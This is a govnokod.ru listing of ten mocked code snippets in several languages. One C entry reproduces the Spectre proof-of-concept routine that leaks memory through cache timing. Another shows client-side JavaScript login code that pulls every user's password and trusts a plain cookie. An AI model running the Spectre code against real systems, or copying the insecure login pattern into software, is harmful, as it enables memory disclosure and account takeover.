1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #25747

    +1

    1. 1
    За "PHP".

    BoeHHblu_nemyx, 02 Августа 2019

    Комментарии (35)
  3. Python / Говнокод #25639

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    def parse_cmd(cmd):
        output = []
        state = 0
        current_arg = ''
        prev_c = ''
        for c in cmd:
            if c == ' ':
                if state == 0:
                    if len(current_arg) > 0:
                        output += [current_arg]
                    current_arg = ''
                elif state == 1:
                    current_arg += c
            elif c == '"' and prev_c != '\\':
                if len(current_arg) > 0 or state == 1:
                    output += [current_arg]
                current_arg = ''
                state = int(not state)
            else:
                current_arg += c
            prev_c = c
        if len(current_arg) > 0:
            output += [current_arg]
        return output

    Какой FSM )))

    gost, 24 Мая 2019

    Комментарии (35)
  4. Lua / Говнокод #25014

    0

    1. 1
    2. 2
    _G = setmetatable(_G, {__newindex = function(t,k,v) t[k] = "sG_nil" end})
    pitux=1

    чо поцоны, изи рекурсия.

    3oJIoTou_xyu, 24 Октября 2018

    Комментарии (35)
  5. JavaScript / Говнокод #24641

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    <!-- todo: put this in a different file!!! -->
    <script>
    function authenticateUser(username, password) {
      var accounts = apiService.sql(
        "SELECT * FROM users"
      );
    
      for (var i = 0; i < accounts.length; i++) {
        var account = accounts[i];
        if (account.username === username &&
            account.password === password)
        {
          return true;
        }
      }
      if ("true" === "true") {
        return false;
      }
    }
    
    $('#login').click(function() {
      var username = $("#username").val();
      var password = $("#password").val();
    
      var authenticated = authenticateUser(username, password);
    
      if (authenticated === true) {
        $.cookie('loggedin', 'yes', { expires: 1});
      } else if (authenticated === false) {
        $("#error_message").show();
      }
    });
    </script>

    This JavaScript code powers a 1,500 user intranet application

    theraphim, 20 Августа 2018

    Комментарии (35)
  6. PHP / Говнокод #23940

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    public function syncStock() {
            $locked = file_exists(__DIR__ . '/lock/gk_sync_stock');
    
            if ($locked) {
                $this->logger->log("Attempt to sync locked stock");
                return;
            }
    
            file_put_contents(__DIR__ . '/lock/gk_sync_stock', current_time('mysql'));
    
            $changed = $this->_syncStock();
    
            unlink(__DIR__ . '/lock/gk_sync_stock');
    
            $this->logger->log("Sync stock complete, $changed changed");
        }

    Тут может произойти дедлок, или ни один из синхронных запросов не выполнится?

    inho, 16 Марта 2018

    Комментарии (35)
  7. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  8. C++ / Говнокод #20359

    +4

    1. 1
    2. 2
    auto highPriority = static_cast<bool>(features(w)[5]);
    // Тип features(w) - std::vector<bool>

    Скотт Майерс. Эффективный и современный С++.

    Antervis, 10 Июля 2016

    Комментарии (35)
  9. C++ / Говнокод #19579

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    if (c & Expression::RefValue) {
          scontext += "|RefValue";
        }
        if (c & Expression::RefParameter) {
          scontext += "|RefParameter";
        }
        if (c & Expression::DeepReference) {
          scontext += "|DeepReference";
        }
        if (c & Expression::ObjectContext) {
          scontext += "|ObjectContext";
        }
        if (c & Expression::InParameterExpression) {
          scontext += "|InParameterExpression";
        }
        if (c & Expression::ExistContext) {
          scontext += "|ExistContext";
        }
        if (c & Expression::UnsetContext) {
          scontext += "|UnsetContext";
        }
        if (c & Expression::AssignmentLHS) {
          scontext += "|AssignmentLHS";
        }
        if (c & Expression::RefAssignmentLHS) {
          scontext += "|RefAssignmentLHS";
        }
        if (c & Expression::DeepAssignmentLHS) {
          scontext += "|DeepAssignmentLHS";
        }
        if (c & Expression::AssignmentRHS) {
          scontext += "|AssignmentRHS";
        }
        if (c & Expression::InvokeArgument) {
          scontext += "|InvokeArgument";
        }
        if (c & Expression::OprLValue) {
          scontext += "|OprLValue";
        }
        if (c & Expression::DeepOprLValue) {
          scontext += "|DeepOprLValue";
        }
        if (c & Expression::AccessContext) {
          scontext += "|AccessContext";
        }
        if (c & Expression::ReturnContext) {
          scontext += "|ReturnContext";
        }

    Нашел тут:
    https://github.com/facebook/hhvm/blob/master/hphp/compiler/construct.cpp#L226

    kschingiz, 05 Марта 2016

    Комментарии (35)
  10. JavaScript / Говнокод #19089

    +6

    1. 1
    2. 2
    3. 3
    //Добавление/удаление товара в корзину, вывод содержиого
    function itemInCart(id, price, count) {
    ...........

    Вот такой он, универсальный JavaScript )

    AndreDev, 26 Ноября 2015

    Комментарии (35)
  11. bash / Говнокод #18555

    −438

    1. 1
    2. 2
    root@server:/var/www/project# supervisorctl restop gunicorn
    *** Unknown syntax: restop gunicorn

    krokodil_910, 31 Июля 2015

    Комментарии (35)